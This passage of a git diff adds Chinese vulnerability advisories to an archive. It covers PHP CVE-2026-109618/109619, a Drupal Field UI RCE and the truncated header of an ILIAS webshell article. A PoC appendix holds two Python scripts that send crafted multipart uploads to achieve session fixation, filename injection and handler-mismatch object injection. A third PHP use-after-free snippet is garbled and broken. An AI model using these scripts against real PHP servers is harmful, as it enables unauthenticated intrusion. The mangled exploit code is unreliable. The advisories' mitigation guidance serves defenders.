迁移或网络隔离
+一个需要纠正的常见误读是“7.x/8.0/8.1 完全无解”。官方确实不为这些分支发布常规版本，但**提供了可用的源码回溯补丁** +。如果无法立即迁移，编译回溯补丁是一个现实的中间选项；对于发行版用户，应优先联系发行版或 LTS 厂商确认是否已集成。 +## 临时措施：分层使用，但不要误认为是“修复” + +PHP 官方对此的表述非常直接：以下措施“**仅减少特定攻击路径的暴露，并不使安装变得安全** +”。 +### 针对 CVE-2026-109618（OOM 路径） +- **设置 memory_limit=-1** +，通过 php_admin_value + 等**应用无法覆盖** +的方式设置，并确认没有 pool、目录或应用设置重新引入有限内存限制。这移除了可控的 OOM 触发点，但底层分配失败（如 mmap() + 失败）仍可能到达易感路径。 + +- **收紧 post_max_size** +：无需上传的应用设为 **8M** +，需要上传的设为 **32M** +，并保持 upload_max_filesize + 小于 post_max_size +。在 Web 服务器或代理层额外限制解码后的请求大小、字段数、multipart part 数、header 数和嵌套深度，且这些限制必须覆盖**没有可用 Content-Length 的请求** +。 + +### 针对 CVE-2026-109619（陈旧状态路径） +- **设置 session.upload_progress.enabled=0 并重启每一个 worker** +。必须通过 php.ini +、FPM pool 或服务器配置生效，**不要依赖 ini_set() 或 .user.ini** +，因为它们可能在请求解析之后才应用。 + +- **PHP 8.5 额外设置 fatal_error_backtraces=0** + 并重启 worker，以阻断已确认的致命错误回溯路径。 + +### 这些措施的关系 + +session.upload_progress.enabled=0 + 直接切断了社区 PoC 中已复现的会话注入和 handler mismatch 逻辑链，在公开攻击面上有实测止损效果。但它**不能替代官方补丁** +，因为 OOM 路径（CVE-2026-109618）并不完全依赖 upload_progress 功能，底层的分配失败仍可触发。memory_limit=-1 + 和 post_max_size + 收紧是针对 OOM 路径的补充，但同样不是完整修复。 +## 处置优先级 + +**第一优先：升级受支持分支（8.2+）** + 。目标版本 **8.5.12 / 8.4.27 / 8.3.36 / 8.2.35** +。如果使用 rpms.remirepo.net +，官方明确警告该仓库**当天不会有更新** +，需要切换到发行版包或从源码构建。 + +**第二优先：EOL 分支（7.4 / 8.0 / 8.1）** + 。编译官方提供的**源码回溯补丁** +，或联系发行版/LTS 厂商确认回溯状态；无法编译或获取回溯的，执行上述分层临时措施，并规划迁移。 + +**第三优先：7.3 及更早 / 5.x** + 。无补丁可用。临时措施仅能降低特定路径暴露，必须**网络隔离、白名单访问或下线** +，并制定迁移时间表。 + +**贯穿始终** +：将 session.upload_progress.enabled=0 + 和 memory_limit + / post_max_size + 收紧作为升级完成前的**过渡性纵深防御** +，而不是等待升级的替代方案。 + +**一句话总结** +：php2shell 的 PoC 生态已经证明会话处理路径上的攻击面是真实可达的，但官方根因指向的是更底层的 OOM 与全局状态管理缺陷——这意味着**任何单一配置开关都无法堵住全部路径** +。升级到 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 是唯一完整解法，EOL 分支必须通过源码回溯或隔离来处置。 + +![](https://mmbiz.qpic.cn/mmbiz_png/T0ibbhsCmribSRsTicdxte8EAw52mkkmgMAkvr4M1pgHRiaKnA5ttlLf5GmYn5UxJ3q05ZJm6TQKMibiaeX5knpmR1Bx9NA6WK9tNpmcqOZQK1iaRE/640?wx_fmt=png&from=appmsg "") +# POC附录 +## CVE-2026-109618/109619-验证会话处理程序不匹配 >对象注入 +``` +#!/usr/bin/env python3 +""" +CVE-2026-109618/109619 — Verify session handler mismatch → object injection. +Demonstrates: +  1. Session written in php_serialize format (via directory with .user.ini) +  2. Pipe | in filename preserved in php_serialize format +  3. php handler reads the session → splits at | → deserializes injected object +  4. __destruct fires even when decode returns FAILURE (trailing data) +Setup required: +  - /app/ directory with .user.ini: session.serialize_handler = php_serialize +  - /api/ directory with .user.ini: session.serialize_handler = php +  - Both share the same session.save_path +Usage: +  python3 verify_handler_mismatch.py --target http://127.0.0.1:18080 +For authorized security testing only. +""" +import argparse +import socket +import sys +from urllib.parse import urlparse +def upload(host, port, path, sid, filename): +    boundary = "MISMATCH" +    body = ( +        f"--{boundary}\r\n" +        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n' +        f"--{boundary}\r\n" +        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n' +        f"--{boundary}\r\n" +        f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n' +        f"--{boundary}--\r\n" +    ).encode("latin-1") +    req = ( +        f"POST {path} HTTP/1.1\r\n" +        f"Host: {host}\r\n" +        f"Content-Type: multipart/form-data; boundary={boundary}\r\n" +        f"Content-Length: {len(body)}\r\n" +        f"Connection: close\r\n\r\n" +    ).encode() + body +    s = socket.create_connection((host, port), timeout=15) +    s.sendall(req) +    s.settimeout(10) +    resp = b"" +    while True: +        try: +            d = s.recv(65536) +            if not d: +                break +            resp += d +        except socket.timeout: +            break +    s.close() +    return resp +def main(): +    ap = argparse.ArgumentParser() +    ap.add_argument("--target", default="http://127.0.0.1:18080") +    ap.add_argument("--write-path", default="/app/upload.php", +                    help="Endpoint with php_serialize handler") +    ap.add_argument("--read-path", default="/api/endpoint.php", +                    help="Endpoint with php handler") +    ap.add_argument("--sid", default="mismatchverify0000000000000") +    args = ap.parse_args() +    u = urlparse(args.target) +    host = u.hostname +    port = u.port or 80 +    print("[*] CVE-2026-109618/109619 — Handler Mismatch Verification") +    print(f"[*] Target: {args.target}") +    print() +    # Step 1: Write session via php_serialize endpoint +    # Filename contains |O:8:"stdClass":0:{} (escaped quotes) +    gadget = 'x|O:8:\\"stdClass\\":0:{}' +    print(f"[1] Writing session via {args.write_path} (php_serialize)") +    print(f"    Filename payload: {gadget}") +    upload(host, port, args.write_path, args.sid, gadget) +    print("    → Session file written in php_serialize format") +    # Step 2: Trigger via php handler endpoint +    print(f"\n[2] Triggering mismatch via {args.read_path} (php handler)") +    print("    php handler scans for | → splits → deserializes O:8:\"stdClass\":0:{}") +    resp = upload(host, port, args.read_path, args.sid, "dummy") +    status = resp.split(b"\r\n", 1)[0].decode("latin1", "replace") if resp else "NO RESPONSE" +    print(f"    Response: {status}") +    print() +    print("[*] Verification indicators:") +    print("    - 'Failed to decode session object' warning = mismatch triggered") +    print("    - 'Session object destruction failed' = __destruct fired on injected object") +    print("    - If target has a class with exploitable __destruct → RCE") +    print() +    print("[*] Check target for:") +    print(f"    - Session file: /tmp/sessions/sess_{args.sid}") +    print("    - Evidence of __destruct execution (file writes, network connections, etc.)") +if __name__ == "__main__": +    main() +``` +## CVE-2026-109618/109619-通过 upload_progress文件名验证会话文件注入。 +``` +#!/usr/bin/env python3 +""" +CVE-2026-109618/109619 — Verify session file injection via upload_progress filename. +Demonstrates: +  1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies) +  2. Unvalidated filename stored raw in session file (can contain PHP code) +  3. Session file created with attacker-controlled content +Usage: +  python3 verify_session_injection.py --target http://127.0.0.1:18080 +For authorized security testing only. +""" +import argparse +import socket +import sys +from urllib.parse import urlparse +def send_upload(host, port, path, sid, filename): +    boundary = "VERIFY" +    body = ( +        f"--{boundary}\r\n" +        f'Content-Disposition: form-data; name="PHPSESSID"\r\n\r\n{sid}\r\n' +        f"--{boundary}\r\n" +        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\nx\r\n' +        f"--{boundary}\r\n" +        f'Content-Disposition: form-data; name="f"; filename="{filename}"\r\n\r\nZ\r\n' +        f"--{boundary}--\r\n" +    ).encode("latin-1") +    req = ( +        f"POST {path} HTTP/1.1\r\n" +        f"Host: {host}\r\n" +        f"Content-Type: multipart/form-data; boundary={boundary}\r\n" +        f"Content-Length: {len(body)}\r\n" +        f"Cookie: PHPSESSID={sid}\r\n" +        f"Connection: close\r\n\r\n" +    ).encode() + body +    s = socket.create_connection((host, port), timeout=15) +    s.sendall(req) +    s.settimeout(10) +    resp = b"" +    while True: +        try: +            d = s.recv(65536) +            if not d: +                break +            resp += d +        except socket.timeout: +            break +    s.close() +    return resp +def main(): +    ap = argparse.ArgumentParser() +    ap.add_argument("--target", default="http://127.0.0.1:18080") +    ap.add_argument("--path", default="/index.php") +    ap.add_argument("--sid", default="verifysession00000000000000") +    args = ap.parse_args() +    u = urlparse(args.target) +    host = u.hostname +    port = u.port or 80 +    print("[*] CVE-2026-109618/109619 — Session Injection Verification") +    print(f"[*] Target: {args.target}") +    print() +    # Test 1: Normal filename +    print("[1] Testing normal filename...") +    send_upload(host, port, args.path, args.sid + "a", "normal.txt") +    print("    → Session file should contain: s:10:\"normal.txt\"") +    # Test 2: PHP code in filename +    php_payload = "" +    print(f"[2] Testing PHP code in filename: {php_payload}") +    send_upload(host, port, args.path, args.sid + "b", php_payload) +    print(f"    → Session file should contain PHP code as raw string") +    # Test 3: Pipe character in filename (for handler mismatch) +    pipe_payload = "x|O:8:\"stdClass\":0:{}" +    print(f"[3] Testing pipe + serialized object in filename") +    # Need \" escaping for Content-Disposition +    escaped = pipe_payload.replace('"', '\\"') +    send_upload(host, port, args.path, args.sid + "c", escaped) +    print(f"    → Session file should contain |O:8: in the filename field") +    print() +    print("[*] Verification complete. Check session files on the target:") +    print(f"    cat /tmp/sessions/sess_{args.sid}a") +    print(f"    cat /tmp/sessions/sess_{args.sid}b") +    print(f"    cat /tmp/sessions/sess_{args.sid}c") +    print() +    print("[*] Key indicators:") +    print("    - Session fixation: file created with attacker-controlled SID") +    print("    - Filename injection: raw PHP code / serialized objects in session data") +    print("    - No authentication required") +if __name__ == "__main__": +    main() +``` +## CVE-2026-109618/109619 - var_destroy _destruct 重入 UAF验证 +``` +0)\n"); +        fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n"); +        $result = @unserialize('R:1500;'); +        $type = gettype($result); +        fwrite(STDERR, "[*] R:1500 resolved to: $type\n"); +        if (N = 2000; +$payload = 'a:' . ($N + 2) . ':{'; +for ($i = 0; $i < $N; $i++) { +    $payload .= "i:$i;i:payload .= 'i:99999;O:10:"TriggerUAF":0:{}'; +$payload .= 'i:99999;i:42;'; +$payload .= '}'; +fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n"); +fwrite(STDERR, "[*] Firing unserialize()...\n"); +@unserialize($payload); +fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n"); +fwrite(STDERR, "[*] Expected ASAN trace:\n"); +fwrite(STDERR, "    READ at php_var_unserialize (var_unserializer.c:851)\n"); +fwrite(STDERR, "    freed at var_destroy (var_unserializer.c:245)\n"); +``` + + diff --git a/doc/2026-10/【漏洞通告】Drupal Field UI远程代码执行漏洞(CVE-2026-108097).md b/doc/2026-10/【漏洞通告】Drupal Field UI远程代码执行漏洞(CVE-2026-108097).md new file mode 100644 index 00000000..59949010 --- /dev/null +++ b/doc/2026-10/【漏洞通告】Drupal Field UI远程代码执行漏洞(CVE-2026-108097).md @@ -0,0 +1,206 @@ +# 【漏洞通告】Drupal Field UI远程代码执行漏洞(CVE-2026-108097) +深瞳漏洞实验室 + 深瞳漏洞实验室 深信服千里目安全技术中心 2026-10-21 09:47 + +![](https://mmbiz.qpic.cn/mmbiz_gif/APc6NwjLsxTuCzUiaW0Jtfd22HhjSD9p88uTXOFLOKRH9GGgLia0gHfIib0C6WRzYyV7MkgVZNGrK4XIWlcZUI8icbsbqas7iaBvibLP6iaeau2IN4/640?wx_fmt=gif&from=appmsg "") + +**漏洞名称：** + +Drupal Field UI远程代码执行漏洞(CVE-2026-108097) + +**组件名称：** + +Drupal + +**影响范围：** + +8.9.0 <= Drupal < 10.6.19 + +11.0.0 <= Drupal < 11.3.19 + +11.4.0 <= Drupal < 11.4.10 + +12.0.0-alpha1 <= Drupal < 12.0.0-beta2 + +**漏洞类型：** + +代码执行 + +**利用条件：** + +1、用户认证：否 + +2、前置条件：field_ui模块启用，一个 contrib/自定义模块把请求数据传进 field_ui_table 行的 #region_callback + +3、触发方式：远程 + +**综合评价：** + +<综合评定利用难度>：容易，无需授权即可远程代码执行。 + +<综合评定威胁等级>：高危，能造成远程代码执行。 + +**官方解决方案：** + +已发布 + + + + +**漏洞分析** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/APc6NwjLsxQE1jYYyicQ5uko9BWic0KxtWnqzVsMLCoO5E3DNzzVR0KFvzFEryk5T9rRVQDHoF0wgHCibn5dqQAB542tmXeEbztsXlozpkttHo/640?wx_fmt=gif&from=appmsg "") + +组件介绍 + +Drupal 作为内容管理系统（CMS），具备站点、内容、用户等常规管理能力，也可以通过安装社区中数以千、万计的免费模块和主题，对网站进行扩展以满足各种不同类型的功能和外观需求。即使是不懂技术的建站用户，经过一段时间的熟悉，也可以轻松创建功能丰富的复杂站点——包括但不限于各种官网、商城、媒体、博客、百科、社交网络等等。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/APc6NwjLsxSiaYXBG8PzS3u9YxDGNUnZ7yQR0SJZ5GoRYrsGISMiazCo2vIicPNnsv9waApzxMXFL2bPS4Gtic4Q5CSLr20szliaIiaLiaq6Rdx7P0/640?wx_fmt=gif&from=appmsg "") + +**漏洞简介** + + +2026年10月21日，深瞳漏洞实验室监测到一则Drupal组件存在代码执行漏洞的信息，漏洞编号：CVE-2026-108097，漏洞威胁等级：高危。 + + +Drupal 核心 Field UI 模块的表格渲染函数在 pre-render 阶段对行内 #region_callback 属性执行裸 call_user_func_array,绕过了 Drupal 8.8 以来的可信回调防线；**若某贡献/自定义模块允许请求数据控制该属性，攻击者可执行任意 PHP callable,并利用原厂自带的 PEAR 文件 gadget 链达成未认证远程代码执行。** + + +搭建drupal漏洞环境复现该漏洞，效果如下： + +![](https://mmbiz.qpic.cn/mmbiz_png/APc6NwjLsxRwdNpUicX01icJkiaYua9UQcYK3Z0nZQOO1Ydxy76E62dDUNN6klNUe27jD3otHJpXEPibp65rSP1W7ZeHux0w06W18xTKFMl73e0/640?wx_fmt=png&from=appmsg "") + + + +**影响范围** + +目前受影响的Drupal版本： + +8.9.0 <= Drupal < 10.6.19 + +11.0.0 <= Drupal < 11.3.19 + +11.4.0 <= Drupal < 11.4.10 + +12.0.0-alpha1 <= Drupal < 12.0.0-beta2 + + + +**解决方案** + +![](https://mmbiz.qpic.cn/mmbiz_gif/APc6NwjLsxSNIMBy2IsAZRmia5ILbsiczQKIcO1EwiavHDOo8A2nLYfy2d3yLNx8LjOJ8jDtMdC7xoUOYALpjk43MriaXdKEfgUYGWqmSXFmVl4/640?wx_fmt=gif&from=appmsg "") + +**官方修复建议** + + +官方已发布修复补丁，建议升级至修复后的版本。 + +下载地址：https://new.drupal.org/download + + +![](https://mmbiz.qpic.cn/mmbiz_gif/APc6NwjLsxS8W8QPbzyQJ6fzfkhQqpBnuV9X86gl3JzgYibINib4IQ4X7yTAbEhdicG9Rpyjib9p8DwVLZ92eH5NGg2BzasnhKHxMLGRsibecPzE/640?wx_fmt=gif&from=appmsg "") + +**临时修复建议** + +- 关闭未使用的功能模块，减少潜在攻击入口。 + +- 遵循最小权限原则，严控各类敏感操作权限范围。 + +- 非必要不暴露服务到公网，限制访问源为可信范围。 + +- 定期更新系统及各类组件至安全版本，及时修补已知隐患。 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/APc6NwjLsxSHPlqW3SB1TCQJ14lDiaR7P1N0v5I0MukSflhTiaonD8aNnxQNqq0e4wRRsc4VdQA2y7Dgk7VpEaFWKatYh6RBmkd4iaibibThM9icA/640?wx_fmt=gif&from=appmsg "") + +**深信服解决方案** + + +**1、风险资产发现** + +支持对Drupal的主动检测，**可批量检出业务场景中该事件的受影响资产情况，** +相关产品如下： + +**【深信服云镜YJ】** + 已发布资产检测方案，指纹ID:0000005。 + +**【深信服漏洞评估工具TSS】** +已发布资产检测方案，指纹ID:0000005。 + + +**2、漏洞主动检测** + +支持对Drupal Field UI远程代码执行漏洞(CVE-2026-108097)的主动检测，**可批量快速检出业务场景中是否存在漏洞风险，** +相关产品如下： + +**【深信服云镜YJ】** +预计2026年10月30日发布检测方案，规则ID:SF-2026-14104。 + +**【深信服可拓展检测响应平台XDR】** +预计2026年10月30日发布检测方案（需要具备云镜组件能力），规则ID:SF-2026-14104。 + + +**3、漏洞安全监测** + +支持对Drupal Field UI远程代码执行漏洞(CVE-2026-108097)的监测，**可依据流量收集实时监控业务场景中的受影响资产情况，快速检查受影响范围，** +相关产品及服务如下： + +**【深信服安全感知管理平台SIP】** +已发布监测方案。 + +**【深信服安全托管服务MSS】** +已发布监测方案（需要具备SIP组件能力）。 + +**【深信服可拓展检测响应平台XDR】** +已发布监测方案。 + + +**4、漏洞安全防护** + +支持对Drupal Field UI远程代码执行漏洞(CVE-2026-108097)的防御，**可阻断攻击者针对该事件的入侵行为，** +相关产品及服务如下： + +**【深信服下一代防火墙AF】** +已发布防护方案。 + +**【深信服Web应用防火墙WAF】** +已发布防护方案。 + +**【深信服安全托管服务MSS】** +已发布防护方案（需要具备AF组件能力）。 + +**【深信服可拓展检测响应平台XDR】** +已发布防护方案（需要具备AF组件能力）。 + + +参考链接 + + +https://www.drupal.org/sa-core-2026-014 + + + +时间轴 + + + +**2026/10/21** + +深瞳漏洞实验室监测到Drupal Field UI远程代码执行漏洞信息。 + + +**2026/10/21** + +深瞳漏洞实验室发布漏洞通告。 + + +点击**阅读原文** +，及时关注并登录深信服**智安全平台** +，可轻松查询漏洞相关解决方案。 + +![](https://mmbiz.qpic.cn/mmbiz_png/APc6NwjLsxRelZlxFVM3VdicmCdtP6AzbicgdxxXCickohgQRDMibp5glK6fQ668ql75U8lqXZGFmASJ5gcibMqibI3FLNiaDYlQaicibhErU7vd1ua0/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/w8NHw6tcQ5zvcIHbwGGYKbqDVYsVKzNNia1jYtHf49C7133AlDXAgex2W4lFvpia56tjQQDkiauNBrl08YbxqG01A/640?wx_fmt=jpeg&from=appmsg "") + + diff --git a/doc/2026-10/【漏洞通告】PHP远程代码执行漏洞(CVE-2026-109618∕CVE-2026-109619).md b/doc/2026-10/【漏洞通告】PHP远程代码执行漏洞(CVE-2026-109618∕CVE-2026-109619).md new file mode 100644 index 00000000..e338c17c --- /dev/null +++ b/doc/2026-10/【漏洞通告】PHP远程代码执行漏洞(CVE-2026-109618∕CVE-2026-109619).md @@ -0,0 +1,135 @@ +# 【漏洞通告】PHP远程代码执行漏洞(CVE-2026-109618/CVE-2026-109619) +深瞳漏洞实验室 + 深瞳漏洞实验室 深信服千里目安全技术中心 2026-10-21 09:47 + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/APc6NwjLsxQbm53EI5UCGhDjMUyeEqUpeoUAOTAuaUFDBVt9xLic40tJ1rLByicKIv7DRfmusS1yCQ8la1IprZ4huicvetbMvvuFjCRV2WjZLo/640?wx_fmt=gif&from=appmsg "") + +**漏洞名称：** + +PHP远程代码执行漏洞(CVE-2026-109618/CVE-2026-109619) + +**组件名称：** + +PHP + +**影响范围：** + +PHP + +**漏洞类型：** + +代码执行 + +**利用条件：** + +1、用户认证：否 + +2、前置条件：未确认，具体条件待官方技术细节公布后确认 + +3、触发方式：远程 + +**综合评价：** + +<综合评定利用难度>：未确认。 + +<综合评定威胁等级>：严重，能造成远程代码执行。 + +**官方解决方案：** + +未发布 + + + + +**漏洞分析** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/APc6NwjLsxQ4GKgJuVw9stt4vJRVAQ9ByLicialxvT52hPpzPFKqVuWkDl0yoGon9iascibcCTnLOqhWdMqBWoLYsaOA7hg8RMVoxHy7yt9xuVs/640?wx_fmt=gif&from=appmsg "") + +组件介绍 + +PHP（PHP: Hypertext Preprocessor）即“超文本预处理器”，是在服务器端执行的脚本语言，尤其适用于Web开发并可嵌入HTML中。PHP语法学习了C语言，吸纳Java和Perl多个语言的特色发展出自己的特色语法，并根据它们的长项持续改进提升自己，例如java的面向对象编程，该语言当初创建的主要目标是让开发人员快速编写出优质的web网站。 PHP同时支持面向对象和面向过程的开发，使用上非常灵活。 + +![](https://mmbiz.qpic.cn/mmbiz_gif/APc6NwjLsxTnNHSmMXtAFFcwDwJUrCb6F6ToHjfgGzmibM8wLYm94TjfhPftvIzfD9q7CGTmWPy1sTDicB5bHk6jXd00jkhRDr83Q2xGGkNC4/640?wx_fmt=gif&from=appmsg "") + +**漏洞简介** + + +2026年10月21日，深瞳漏洞实验室监测到一则PHP组件存在代码执行漏洞的信息，漏洞编号：CVE-2026-109618、CVE-2026-109619，漏洞威胁等级：严重。 + + +CVE-2026-109618 与 CVE-2026-109619 是 PHP 语言核心中两个可被远程利用的严重漏洞，CERT-EU 已发布警报并将两者定性为未经身份验证的远程代码执行，CVSS v4.0 评分均为 9.2，成因类别涉及代码注入（CWE-94）与越界写（CWE-787）。 + + +官方目前未披露任何技术细节；综合公开研究信息推断，攻击面大概率位于会话上传进度（session upload progress）处理路径，即 ext/session/session.c 中的 php_session_rfc1867_callback 回调：该机制在解析 multipart/form-data 请求的过程中会多次重建会话数据，若缓存于处理上下文中的进度指针未随原有数据结构的销毁而失效，即形成释放后使用（use-after-free）， +攻击者可通过特制的分段低速上传请求触发内存破坏，进而可能实现任意代码执行。该功能自 PHP 5.4 起默认启用，且相关处理发生在应用脚本运行之前，因此应用层登录校验或业务本身不提供上传功能均不能构成免疫，默认配置下网络可达的 PHP 服务普遍处于暴露范围。 + + +现有研究已能实证进程崩溃与拒绝服务效果，完整代码执行链条还需满足针对目标具体构建的符号定制、堆布局及地址泄露等前置条件。上述成因分析、两个 CVE 与漏洞类别的对应关系均未经官方确认，准确信息以 PHP 官方后续安全公告及修复差异为准。 + + + +**影响范围** + +截至本通告撰写时，PHP 官方尚未公布两个漏洞各自的准确影响版本、配置要求及修复版本。 + +公开研究信息表明，此漏洞可能涉及多个PHP分支。 + + + +**解决方案** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/APc6NwjLsxQticDwazmayDIUJu0W6nDpBObodAazVV7OYw4TWQOibndwia14tO5YLEibWPLEySbSNwto8DgGjwjjtlyg8qLBs0rgWErbYKRPicLk/640?wx_fmt=gif&from=appmsg "") + +**官方修复建议** + + +PHP 官方计划于 2026年10月21日22:00（北京时间）发布安全更新。关注PHP官方安全更新，更新发布后，根据官方公告升级至明确修复漏洞的 PHP 版本。 + +如出现技术细节提前公开或实际利用证据，官方可能提前发布。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/APc6NwjLsxTkaexfu9cwWBpiaxZEobrNAsKqzbHdjQDMJptmjofQVusnTyVGoe2SPibDNSJ9nWLna1aafXNMibKqXhteuKoZBxLkhY1RylysC4/640?wx_fmt=gif&from=appmsg "") + +**临时修复建议** + +- 重点关注 PHP 工作进程的成簇异常退出，对异常请求完整留存样本与日志，便于事后排查和溯源。 + +- 在 php.ini 或 php-fpm 池配置中设置 session.upload_progress.enabled = Off，随后重载 php-fpm（或重启 Web 服务）使其生效。 + +- 对非必须互联网可达的 PHP 系统（后台、老业务、内部工具）实施访问控制、白名单或 VPN 接入。 + +- 关闭未使用的功能模块，减少潜在攻击入口。 + + + + +参考链接 + + +https://www.php.net/archive/2026.php#2026-10-20-1 + + + +时间轴 + + + +**2026/10/21** + +深瞳漏洞实验室监测到PHP 远程代码执行漏洞信息。 + + +**2026/10/21** + +深瞳漏洞实验室发布漏洞通告。 + + +点击**阅读原文** +，及时关注并登录深信服**智安全平台** +，可轻松查询漏洞相关解决方案。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/APc6NwjLsxTFjGuia4bNRVdIZrdMfW8v6I9LY8D9odKgIzx3JYSvD0Gsg1d1hqHP37Vm8ibicVP0RFMK5hom5EQUJVzgE5s7VRjEdzRAkRaUcM/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/w8NHw6tcQ5zvcIHbwGGYKbqDVYsVKzNNia1jYtHf49C7133AlDXAgex2W4lFvpia56tjQQDkiauNBrl08YbxqG01A/640?wx_fmt=jpeg&from=appmsg "") + + diff --git a/doc/2026-10/【漏洞通告】PHP远程代码执行漏洞（CVE-2026-109618&CVE-2026-109619）.md b/doc/2026-10/【漏洞通告】PHP远程代码执行漏洞（CVE-2026-109618&CVE-2026-109619）.md new file mode 100644 index 00000000..9955f3ca --- /dev/null +++ b/doc/2026-10/【漏洞通告】PHP远程代码执行漏洞（CVE-2026-109618&CVE-2026-109619）.md @@ -0,0 +1,109 @@ +# 【漏洞通告】PHP远程代码执行漏洞（CVE-2026-109618&CVE-2026-109619） +NS-CERT + NS-CERT 绿盟科技CERT 2026-10-21 09:49 + +**通告编号 NS-2026-0025** + +2026-10-21 + +
TAG：

PHP、Use-After-Free、远程代码执行

漏洞危害：

攻击者利用上述漏洞，可造成进程崩溃甚至任意代码执行。

版本：

1.0

+ +**1** + + +**漏洞概述** + + +近日，绿盟科技CERT监测到网上披露了PHP远程代码执行漏洞（CVE-2026-109618/CVE-2026-109619）；由于PHP Core的session上传进度处理机制存在内存管理缺陷，在multipart请求解析过程中触发多次会话状态切换导致对象释放后重用（Use-After-Free），未经身份验证的攻击者可通过构造特制的multipart请求触发内存破坏，从而造成进程崩溃甚至可以PHP服务账户权限执行任意代码。CVSS评分9.2，目前已有漏洞细节披露，请相关用户尽快采取措施开展自查与防护。 + +PHP是一种广泛使用的开源服务器端脚本语言，主要用于Web应用与动态网站开发，代码可以直接嵌入到HTML中，支持数据库交互、会话管理及文件上传等，是全球众多Web应用程序的基础支撑环境。 + + +参考链接： + +https://www.php.net/archive/2026.php + + +**SEE MORE →** + +**2****影响范围** + +### 受影响版本： + +• PHP <= 8.5.11 + +• PHP <= 8.4.26 + +• PHP <= 8.3.35 + +• 5.4 <= PHP <= 8.2.34 + +涉及WordPress、MediaWiki、phpBB、Magento、Laravel、Symfony、Drupal等应用组件。 + +注：影响范围可能涵盖PHP 5.x-PHP 8.5（**具体版本以官方公告为准** +），PHP 5、7、8.0、8.1等分支版本已停止维护。 + +### 不受影响版本： + +• PHP >= 8.5.12 + +• PHP >= 8.4.27 + +• PHP >= 8.3.36 + +• PHP >= 8.2.35 + + +**3****漏洞检测** + +### 3.1 版本检测 + +相关用户可通过查看PHP的版本来判断应用是否在受影响范围内： + +

php -v

+ +![image](https://mmbiz.qpic.cn/mmbiz_png/tZgxn6yByvKibYmAatwprz2130RXWYyJ0ezNMczjYCoYdbMWXicnqGMoz5E4r0nib5yiaU3K9PdC1qbT1As4ib9GuXyt1Q2kuBQLgsmu8t3ttQ80/640?from=appmsg "") + +若当前版本在受影响范围内，则可能存在安全风险。 + + +**4****漏洞防护** + +### 4.1 官方升级 + +PHP官方计划于2026年10月21日22:00（北京时间）发布安全更新，请受影响的用户密切关注PHP官方安全公告，并在新版本发布后尽快进行升级，下载链接：https://www.php.net/downloads.php + +### 4.2 临时防护措施 + +1、关闭会话上传进度功能：若业务实际未使用文件上传进度跟踪功能，可在php.ini、.user.ini或.htaccess中禁用（设置session.upload_progress.enabled = Off），并重启PHP-FPM或Web服务器； + +2、启用严格会话模式：设置session.use_strict_mode = 1，降低攻击者指定任意会话ID的风险； + +3、排查受影响资产：全面清点运行PHP 5到PHP 8.5版本的各类主机与容器实例，密切监控Web服务与PHP的运行日志，重点关注PHP工作进程的异常崩溃、频繁退出、异常子进程创建或非预期文件写入行为。 + + +**END** + +![](https://mmbiz.qpic.cn/mmbiz_png/qR4ORTNELImFwJM2rh6GKbnrurdFA28jJ8chUPyC1U6aW3jhenqEiaXkmeGVmfOnvAJy8j3My901JQ7emHaicYzA/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qR4ORTNELImFwJM2rh6GKbnrurdFA28jib7icfic0lJJHh3eLRpIXiaia08KqOSEibBsz64vlOH9aqicu3lmjccEeAFWQ/640?wx_fmt=jpeg "") + +**声明** + +本安全公告仅用来描述可能存在的安全问题，绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，绿盟科技以及安全公告作者不为此承担任何责任。 + +绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告，必须保证此安全公告的完整性，包括版权声明等全部内容。未经绿盟科技允许，不得任意修改或者增减此安全公告内容，不得以任何方式将其用于商业目的。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qR4ORTNELImFwJM2rh6GKbnrurdFA28jib7icfic0lJJHh3eLRpIXiaia08KqOSEibBsz64vlOH9aqicu3lmjccEeAFWQ/640?wx_fmt=jpeg "") + + +**绿盟科技CERT** +∣ +微信公众号 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/tZgxn6yByvKXsABGjbFCll2soNtEvW7Ws2RpV33IGH3qtz7wSDStg3GNz23W8ibCCPOzyuD76oDhAtKhMacZTqK9B7fos0iacTG8olq5gicjicE/640?wx_fmt=jpeg&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz/Hu8hctxHqSW0nSJn8p8OHVEQwHicSwTibFJMBE650AxdzfISoeY8woe2QsgCINIBrccBOOUft2HuU0GsNQWibSG7g/640?wx_fmt=png "") + +长按识别二维码，关注网络安全威胁信息 + diff --git a/doc/2026-10/【漏洞预警】ILIAS 9.22 零权限 RCE： 无需任何账号，四步写入 webshell.md b/doc/2026-10/【漏洞预警】ILIAS 9.22 零权限 RCE： 无需任何账号，四步写入 webshell.md new file mode 100644 index 00000000..d5c0b5ff --- /dev/null +++ b/doc/2026-10/【漏洞预警】ILIAS 9.22 零权限 RCE： 无需任何账号，四步写入 webshell.md @@ -0,0 +1,277 @@ +# 【漏洞预警】ILIAS 9.22 零权限 RCE： 无需任何账号，四步写入 webshell +原创 YNsec + YNsec YNsec安全实验室 2026-10-21 